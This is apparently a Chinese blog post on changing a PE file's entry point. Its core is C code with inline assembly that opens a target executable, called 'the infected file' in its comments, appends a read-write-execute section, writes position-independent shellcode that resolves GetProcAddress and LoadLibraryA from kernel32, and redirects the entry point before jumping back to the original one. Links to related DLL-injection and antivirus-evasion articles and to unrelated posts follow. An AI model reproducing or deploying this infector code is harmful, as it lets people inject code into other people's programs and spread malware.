修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

BOOL ChangeOEP(CString strFilePath)
{
FILE* rwFile; // 被感染的文件
IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块
IMAGE_NT_HEADERS NThea; //
DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址
int nOldSectionNo;
int OEP; if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回
return FALSE;
} if(!CheckPE(rwFile)){ // 如果不是PE文件则返回
return FALSE;
} fseek(rwFile,0x3c,0);
fread(&pNT,sizeof(DWORD),1,rwFile);
fseek(rwFile,pNT,0);
fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构
nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量
OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP
IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息
int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值
memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息
for(int i=0;i<nOldSectionNo;i++)
fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile); FILE *newfile = fopen(strFilePath,"rb+");
if(newfile==NULL){
return FALSE;
}
fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
goto shellend; __asm
{
shell: PUSHAD
MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB
MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针
MOV EAX,DWORD PTR [EAX+1CH]
;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX]
;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
MOV EAX,DWORD PTR [EAX+08H]
;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中
MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS
MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表
MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目
MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址
ADD EBX,EBP
PUSH WORD PTR 0X00 ;构造GetProcAddress字符串
PUSH DWORD PTR 0X73736572
PUSH DWORD PTR 0X64644163
PUSH DWORD PTR 0X6F725074
PUSH WORD PTR 0X6547
MOV EDX,ESP
PUSH ECX F1:
MOV EDI,EDX
POP ECX
DEC ECX
TEST ECX,ECX
JZ EXIT
MOV ESI,[EBX+ECX*4]
ADD ESI,EBP
PUSH ECX
MOV ECX,15
REPZ CMPSB
TEST ECX,ECX
JNZ F1 POP ECX
MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址
ADD ESI,EBP
MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号
MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址
ADD EDI,EBP
MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址
ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串
PUSH DWORD PTR 0X41797261
PUSH DWORD PTR 0X7262694C
PUSH DWORD PTR 0X64616F4C
PUSH ESP
PUSH EBP
CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址
PUSH WORD PTR 0X00 ;添加参数“test”符串
PUSH DWORD PTR 0X74736574
PUSH ESP
CALL EAX
EXIT: ADD ESP,36 ;平衡堆栈
POPAD
}
shellend:
char* pShell;
int nShellLen;
BYTE jmp = 0xE9;
__asm
{
LEA EAX,shell
MOV pShell,EAX;
LEA EBX,shellend
SUB EBX,EAX
MOV nShellLen,EBX
} // 写入SHELLCODE,
for(i=0;i<nShellLen;i++)
fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令
NewSection.VirtualAddress=
SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
fwrite(&jmp, sizeof(jmp), 1, newfile);
fwrite(&OEP, sizeof(OEP), 1, newfile); // 将最后增加的数据用0填充至按文件中对齐的大小
for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
fputc('\0',newfile); // 新区块中的数据
strcpy((char*)NewSection.Name,".NYsky");
NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
NewSection.Misc.VirtualSize=nShellLen;
NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
NewSection.Characteristics=0xE0000020; // 新区块可读可写可执行、写入新的块表
fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile); int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
fseek(newfile,pNT,0);
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
NThea.OptionalHeader.SizeOfImage=nNewImageSize;
NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 写入更新后的PE头结构
fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
fclose(newfile);
fclose(rwFile);
return TRUE;
}

修改PE文件的入口函数OEP的更多相关文章

  1. 动态修改PE文件图标(使用UpdateResource API函数)

    PE文件的图标存储在资源文件中,而操作资源要用到的API函数就是UpdateResource首先我们需要先了解一下ICO格式,参考资料:http://www.moon-soft.com/program ...

  2. Dll注入:修改PE文件 IAT注入

    PE原理就不阐述了, 这个注入是PE感染的一种,通过添加一个新节注入,会改变PE文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节. 步骤: ...

  3. 利用模块加载回调函数修改PE导入表实现注入

    最近整理PE文件相关代码的时候,想到如果能在PE刚刚读进内存的时候再去修改内存PE镜像,那不是比直接对PE文件进行操作隐秘多了么? PE文件在运行时会根据导入表来进行dll库的"动态链接&q ...

  4. DLL注入之修改PE静态注入

    DLL注入之修改PE静态注入 0x00 前言 我们要注入的的力量功能是下载baidu首页数据.代码如下: #include "stdio.h" #include"stdi ...

  5. 【黑客免杀攻防】读书笔记6 - PE文件知识在免杀中的应用

    0x1 PE文件与免杀思路 基于PE文件结构知识的免杀技术主要用于对抗启发式扫描. 通过修改PE文件中的一些关键点来达到欺骗反病毒软件的目的. 修改区段名 1.1 移动PE文件头位置免杀 工具:PeC ...

  6. 2、jQuery的基本概念-必看-版本-入口函数- jq对象和dom对象区别

    1.4. jQuery的版本 官网下载地址:http://jquery.com/download/ jQuery版本有很多,分为1.x 2.x 3.x 大版本分类: 1.x版本:能够兼容IE678浏览 ...

  7. Python读取PE文件(exe/dll)中的时间戳

    代码原文地址: https://www.snip2code.com/Snippet/144008/Read-the-PE-Timestamp-from-a-Windows-Exe https://gi ...

  8. 2019-11-29-Roslyn-通过-NuGet-库修改应用程序入口函数

    title author date CreateTime categories Roslyn 通过 NuGet 库修改应用程序入口函数 lindexi 2019-11-29 08:37:49 +080 ...

  9. 2019-4-21-Roslyn-通过-NuGet-库修改应用程序入口函数

    title author date CreateTime categories Roslyn 通过 NuGet 库修改应用程序入口函数 lindexi 2019-4-21 17:37:1 +0800 ...

随机推荐

  1. Monkey学习(1)环境搭建

    环境搭建: Monkey程序由Android系统自带,需要配置J2SE平台的JDK,还需要配置Android平台的SDK. 1)下载和配置JDK 下载与安装JDK过程省略... 配置JDK环境变量,我 ...

  2. mysql /*! 50100 ... */ 条件编译

    1./*...*/ 是注释,mysql不会执行.2.mysql对标准sql进行了扩展,包含了一些自己的特性.3./*!...*/ 是一种特殊的注释,其他的数据库产品当然不会执行.mysql特殊处理,会 ...

  3. 2 CSS

    2 CSS CSS基础 html 在一个网页中负责的事情是一个页面的结构css(层叠样式表) 在一个网页中主要负责了页面的数据样式. 编写css代码的方式:     第一种: 在style标签中编写c ...

  4. linux 命令 第一波

    man 命令名字 查看命令详细解释 q退出cd 切换目录cd .. 回到上级目录su 切换用户pwd 当前目录mkdir cmy 创建cmy文件夹[目录]rm cmy 删除cmy文件夹[如果cmy里面 ...

  5. 【CDN】域名无法访问,ping不到,tracert不到

    背景:香港服务器,CDN服务商:Incapsula 1.首先猜测,域名是否被墙 原因:ip可以直接访问到网站,其他域名指向服务器也可访问 排查:1)首先理解,怎样才算被墙:大陆外可以通过该域名访问,大 ...

  6. 每一个可以移动的棋子都要移动——Every-SG 游戏

    先看一个问题 HDU 3595 GG and MM (Every_SG博弈) 题目有N个游戏同时进行,每个游戏有两堆石子,每次从个数多的堆中取走数量小的数量的整数倍的石子.取最后一次的获胜.并且N个游 ...

  7. java源程序---可执行文件(.exe)----安装包

    众所周知,java源程序都可以导出为(executable jar file)可执行的.jar文件,但是该.jar文件需要在jre环境下才能执行. 那么如何能在没有装jre的电脑上运行呢?(那就要顺带 ...

  8. Request 接收参数乱码原理解析

    起因: 今天早上被同事问了一个问题:说接收到的参数是乱码,让我帮着解决一下. 实际情景: 同事负责的平台是Ext.js框架搭建的,web.config配置文件里配置了全局为“GB2312”编码: &l ...

  9. UnicodeEncodeError

    UnicodeEncodeError at /admin/shop/product/add/ 'ascii' codec can't encode characters in position 0-1 ...

  10. 决策树原理、Scikit-learn实现及其在生物信息中的应用

    之前转过一篇文章:2016年GitHub排名前20的Python机器学习开源项目(转),说明现在已经有了很多很好的机器学习的包,我们不必从底层开始实现,只要懂点算法.会看文档,一般人也能玩好机器学习. ...